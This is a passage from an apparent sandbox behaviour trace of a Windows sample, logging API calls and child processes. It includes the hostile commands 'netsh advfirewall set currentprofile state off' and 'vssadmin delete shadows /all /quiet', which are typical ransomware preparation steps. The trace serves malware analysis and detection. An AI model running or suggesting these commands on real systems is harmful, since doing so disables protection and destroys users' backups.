(uMode=0x0) returned 0x0 [0097.474] SetErrorMode (uMode=0x1) returned 0x0 [0097.474] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1a383f98fe0, lpFilePart=0x598f5aed40 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x598f5aed40*="Desktop") returned 0x17 [0097.474] SetErrorMode (uMode=0x0) returned 0x1 [0097.474] GetProcessHeap () returned 0x1a383f80000 [0097.474] RtlReAllocateHeap (Heap=0x1a383f80000, Flags=0x0, Ptr=0x1a383f98fd0, Size=0x4c) returned 0x1a383f98fd0 [0097.474] GetProcessHeap () returned 0x1a383f80000 [0097.474] RtlSizeHeap (HeapHandle=0x1a383f80000, Flags=0x0, MemoryPointer=0x1a383f98fd0) returned 0x4c [0097.474] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0097.474] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0097.474] GetProcessHeap () returned 0x1a383f80000 [0097.474] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x1bc) returned 0x1a383f86c30 [0097.474] GetProcessHeap () returned 0x1a383f80000 [0097.474] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x368) returned 0x1a383f99030 [0097.481] GetProcessHeap () returned 0x1a383f80000 [0097.481] RtlReAllocateHeap (Heap=0x1a383f80000, Flags=0x0, Ptr=0x1a383f99030, Size=0x1be) returned 0x1a383f99030 [0097.481] GetProcessHeap () returned 0x1a383f80000 [0097.481] RtlSizeHeap (HeapHandle=0x1a383f80000, Flags=0x0, MemoryPointer=0x1a383f99030) returned 0x1be [0097.481] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0097.481] GetProcessHeap () returned 0x1a383f80000 [0097.481] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xe8) returned 0x1a383f86e00 [0097.481] GetProcessHeap () returned 0x1a383f80000 [0097.481] RtlReAllocateHeap (Heap=0x1a383f80000, Flags=0x0, Ptr=0x1a383f86e00, Size=0x7e) returned 0x1a383f86e00 [0097.481] GetProcessHeap () returned 0x1a383f80000 [0097.481] RtlSizeHeap (HeapHandle=0x1a383f80000, Flags=0x0, MemoryPointer=0x1a383f86e00) returned 0x7e [0097.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.481] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x598f5aeab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x598f5aeab0) returned 0xffffffffffffffff [0097.482] GetLastError () returned 0x2 [0097.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.482] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x598f5aeab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x598f5aeab0) returned 0xffffffffffffffff [0097.482] GetLastError () returned 0x2 [0097.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.483] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x598f5aeab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x598f5aeab0) returned 0x1a383f86e90 [0097.483] GetProcessHeap () returned 0x1a383f80000 [0097.483] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x0, Size=0x28) returned 0x1a383f86ef0 [0097.483] FindClose (in: hFindFile=0x1a383f86e90 | out: hFindFile=0x1a383f86e90) returned 1 [0097.483] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x598f5aeab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x598f5aeab0) returned 0xffffffffffffffff [0097.483] GetLastError () returned 0x2 [0097.483] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x598f5aeab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x598f5aeab0) returned 0x1a383f86e90 [0097.483] GetProcessHeap () returned 0x1a383f80000 [0097.483] RtlReAllocateHeap (Heap=0x1a383f80000, Flags=0x0, Ptr=0x1a383f86ef0, Size=0x8) returned 0x1a383f86ef0 [0097.483] FindClose (in: hFindFile=0x1a383f86e90 | out: hFindFile=0x1a383f86e90) returned 1 [0097.483] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0097.483] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0097.484] ??_V@YAXPEAX@Z () returned 0x1 [0097.484] GetConsoleTitleW (in: lpConsoleTitle=0x598f5af030, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0098.237] GetProcessHeap () returned 0x1a383f80000 [0098.237] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x21c) returned 0x1a383f99200 [0098.237] GetConsoleTitleW (in: lpConsoleTitle=0x1a383f99210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0098.575] GetProcessHeap () returned 0x1a383f80000 [0098.575] RtlReAllocateHeap (Heap=0x1a383f80000, Flags=0x0, Ptr=0x1a383f99200, Size=0xd8) returned 0x1a383f99200 [0098.575] GetProcessHeap () returned 0x1a383f80000 [0098.575] RtlSizeHeap (HeapHandle=0x1a383f80000, Flags=0x0, MemoryPointer=0x1a383f99200) returned 0xd8 [0098.575] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0099.247] GetProcessHeap () returned 0x1a383f80000 [0099.247] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f99200) returned 1 [0099.247] InitializeProcThreadAttributeList (in: lpAttributeList=0x598f5aef50, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x598f5aee40 | out: lpAttributeList=0x598f5aef50, lpSize=0x598f5aee40) returned 1 [0099.247] UpdateProcThreadAttribute (in: lpAttributeList=0x598f5aef50, dwFlags=0x0, Attribute=0x60001, lpValue=0x598f5aee2c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x598f5aef50, lpPreviousValue=0x0) returned 1 [0099.247] GetStartupInfoW (in: lpStartupInfo=0x598f5aeee0 | out: lpStartupInfo=0x598f5aeee0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x284, hStdOutput=0x290, hStdError=0x290)) [0099.248] GetProcessHeap () returned 0x1a383f80000 [0099.248] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x20) returned 0x1a383f81a60 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.248] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0099.249] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0099.249] GetProcessHeap () returned 0x1a383f80000 [0099.249] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f81a60) returned 1 [0099.249] GetProcessHeap () returned 0x1a383f80000 [0099.249] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x12) returned 0x1a383f86f10 [0099.249] _get_osfhandle (_FileHandle=1) returned 0x290 [0099.249] SetConsoleMode (hConsoleHandle=0x290, dwMode=0x0) returned 0 [0099.249] _get_osfhandle (_FileHandle=0) returned 0x284 [0099.249] SetConsoleMode (hConsoleHandle=0x284, dwMode=0x0) returned 0 [0099.249] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x598f5aee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x598f5aee48 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x598f5aee48*(hProcess=0x9c, hThread=0x98, dwProcessId=0x394, dwThreadId=0x3e0)) returned 1 [0099.688] CloseHandle (hObject=0x98) returned 1 [0099.688] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0099.688] GetProcessHeap () returned 0x1a383f80000 [0099.688] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f88500) returned 1 [0099.688] GetEnvironmentStringsW () returned 0x1a383f884b0* [0099.688] GetProcessHeap () returned 0x1a383f80000 [0099.688] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xacc) returned 0x1a383f994a0 [0099.688] FreeEnvironmentStringsA (penv="=") returned 1 [0099.688] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000 [0099.689] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0 [0099.689] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x598f5ae348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x598f5ae348, ReturnLength=0x0) returned 0x0 [0099.689] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xc3d6626000, lpBuffer=0x598f5ae380, nSize=0x7a0, lpNumberOfBytesRead=0x598f5ae340 | out: lpBuffer=0x598f5ae380*, lpNumberOfBytesRead=0x598f5ae340*=0x7a0) returned 1 [0100.679] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 35 os_tid = 0xff4 Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xbe52000" os_pid = "0xe6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x704" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x6d0 Thread: id = 26 os_tid = 0x12e8 Thread: id = 29 os_tid = 0xf7c Thread: id = 31 os_tid = 0x1348 Thread: id = 32 os_tid = 0x1080 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x13068000" os_pid = "0x900" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1308" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x994 Thread: id = 28 os_tid = 0x103c Thread: id = 30 os_tid = 0xfa8 Thread: id = 33 os_tid = 0xf88 Thread: id = 34 os_tid = 0xfcc Process: id = "7" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x54b87000" os_pid = "0x5c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x704" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0x664 Thread: id = 44 os_tid = 0x60 Process: id = "8" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0xd6a7000" os_pid = "0x394" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1308" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 39 os_tid = 0x3e0 [0103.624] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d19c0000 [0103.624] __set_app_type (_Type=0x1) [0103.624] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d19ca1c0) returned 0x0 [0103.624] __wgetmainargs (in: _Argc=0x7ff7d19d7668, _Argv=0x7ff7d19d7670, _Env=0x7ff7d19d7678, _DoWildCard=0, _StartInfo=0x7ff7d19d7684 | out: _Argc=0x7ff7d19d7668, _Argv=0x7ff7d19d7670, _Env=0x7ff7d19d7678) returned 0 [0103.625] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.625] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d19c0000 [0103.626] _vsnwprintf (in: _Buffer=0x7ff7d19d9b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0xc3d65d7478 | out: _Buffer="netsh>") returned 6 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e9e0 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e600 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ea20 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eb20 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ea00 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e5e0 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eac0 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e620 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e800 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e780 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eae0 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e760 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.626] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e980 [0103.626] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e640 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e900 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e660 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eb60 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eb40 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e840 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e920 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ea40 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e7a0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e680 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ea80 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e6a0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e9c0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ec20 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eb00 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e860 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e8c0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ea60 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eaa0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e960 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e7e0 [0103.627] GetProcessHeap () returned 0x1fa4c110000 [0103.627] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e5a0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eb80 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11eba0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e740 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ebc0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ebe0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e5c0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ec00 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ec40 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e6e0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e6c0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e500 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e940 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e9a0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e7c0 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11ec60 [0103.628] GetProcessHeap () returned 0x1fa4c110000 [0103.628] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x10) returned 0x1fa4c11e880 [0103.628] GetProcessHeap () returned 